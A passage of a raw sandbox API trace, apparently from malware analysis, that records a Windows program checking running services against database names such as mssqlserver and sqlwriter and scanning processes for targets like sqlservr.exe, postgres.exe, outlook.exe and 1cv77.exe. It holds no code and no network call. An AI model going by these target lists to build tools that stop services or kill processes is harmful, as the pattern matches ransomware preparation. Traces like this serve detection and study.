(lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0309.260] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0309.260] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0309.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0309.260] lstrlenW (lpString="nsi") returned 3 [0309.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0309.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0309.260] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0309.260] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0309.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0309.260] lstrlenW (lpString="PcaSvc") returned 6 [0309.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0309.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0309.260] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0309.260] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0309.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0309.260] lstrlenW (lpString="PlugPlay") returned 8 [0309.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0309.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0309.260] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0309.260] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0309.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0309.260] lstrlenW (lpString="Power") returned 5 [0309.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0309.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0309.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0309.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0309.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0309.261] lstrlenW (lpString="ProfSvc") returned 7 [0309.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0309.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0309.261] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0309.261] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0309.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0309.261] lstrlenW (lpString="RpcEptMapper") returned 12 [0309.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0309.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0309.261] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0309.261] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0309.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0309.261] lstrlenW (lpString="RpcSs") returned 5 [0309.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0309.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0309.261] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0309.261] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0309.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0309.261] lstrlenW (lpString="SamSs") returned 5 [0309.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0309.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0309.261] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0309.261] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0309.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0309.261] lstrlenW (lpString="Schedule") returned 8 [0309.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0309.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0309.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0309.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0309.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0309.262] lstrlenW (lpString="SecurityHealthService") returned 21 [0309.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0309.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0309.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0309.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0309.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0309.262] lstrlenW (lpString="SENS") returned 4 [0309.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0309.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0309.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0309.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0309.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0309.262] lstrlenW (lpString="ShellHWDetection") returned 16 [0309.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0309.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0309.262] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0309.262] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0309.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0309.263] lstrlenW (lpString="Spooler") returned 7 [0309.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0309.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0309.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0309.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0309.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0309.263] lstrlenW (lpString="SSDPSRV") returned 7 [0309.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0309.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0309.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0309.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0309.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0309.263] lstrlenW (lpString="StateRepository") returned 15 [0309.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0309.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0309.263] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0309.263] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0309.263] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0309.263] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0309.278] Process32FirstW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0309.279] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0309.283] lstrlenW (lpString="System") returned 6 [0309.283] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0309.283] lstrlenW (lpString="smss.exe") returned 8 [0309.283] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0309.284] lstrlenW (lpString="csrss.exe") returned 9 [0309.284] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0309.285] lstrlenW (lpString="wininit.exe") returned 11 [0309.285] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0309.286] lstrlenW (lpString="csrss.exe") returned 9 [0309.286] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0309.287] lstrlenW (lpString="winlogon.exe") returned 12 [0309.287] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0309.287] lstrlenW (lpString="services.exe") returned 12 [0309.287] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0309.288] lstrlenW (lpString="lsass.exe") returned 9 [0309.288] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0309.289] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0309.289] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0309.290] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0309.290] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.290] lstrlenW (lpString="svchost.exe") returned 11 [0309.290] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.291] lstrlenW (lpString="svchost.exe") returned 11 [0309.291] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0309.292] lstrlenW (lpString="dwm.exe") returned 7 [0309.292] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0309.292] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0309.292] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0309.292] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0309.292] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0309.292] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0309.293] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0309.293] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.293] lstrlenW (lpString="svchost.exe") returned 11 [0309.293] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.293] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.293] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.293] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.293] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.293] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.294] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.294] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.295] lstrlenW (lpString="svchost.exe") returned 11 [0309.295] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.295] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.295] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.295] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.295] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.295] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.295] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.295] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.295] lstrlenW (lpString="svchost.exe") returned 11 [0309.296] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.296] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.296] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.296] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.296] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.296] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.296] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.296] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.296] lstrlenW (lpString="svchost.exe") returned 11 [0309.296] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.296] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.297] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.297] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.297] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.297] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.297] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.297] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.298] lstrlenW (lpString="svchost.exe") returned 11 [0309.298] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.298] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.298] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.298] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.298] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.298] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.298] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.298] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.299] lstrlenW (lpString="svchost.exe") returned 11 [0309.299] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.299] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.299] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.299] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.299] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.299] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.299] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.299] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.300] lstrlenW (lpString="svchost.exe") returned 11 [0309.300] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.300] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.300] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.300] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.300] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.300] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.300] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.300] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.300] lstrlenW (lpString="svchost.exe") returned 11 [0309.300] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.301] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.301] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.301] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.301] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.301] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.301] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.301] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.302] lstrlenW (lpString="svchost.exe") returned 11 [0309.302] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.302] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.302] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.302] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.302] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.302] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.302] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.302] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.303] lstrlenW (lpString="svchost.exe") returned 11 [0309.303] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0309.303] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0309.303] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0309.303] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0309.303] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0309.303] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0309.303] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0309.303] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0309.304] lstrlenW (lpString="spoolsv.exe") returned 11 [0309.304] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0309.304] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0309.304] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0309.304] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0309.304] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0309.304] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0309.304] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0309.304] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0309.305] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0309.305] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1 [0309.305] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1 [0309.305] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1 [0309.305] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1 [0309.305] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1 [0309.305] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1 [0309.305] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1 [0309.305] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0309.306] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0309.306] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0309.306] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0309.306] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0309.306] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0309.306] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0309.306] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0309.306] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0309.306] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0309.320] lstrlenW (lpString="Memory Compression") returned 18 [0309.320] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0309.320] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0309.320] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0309.320] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0309.320] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0309.320] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0309.320] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0309.320] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, 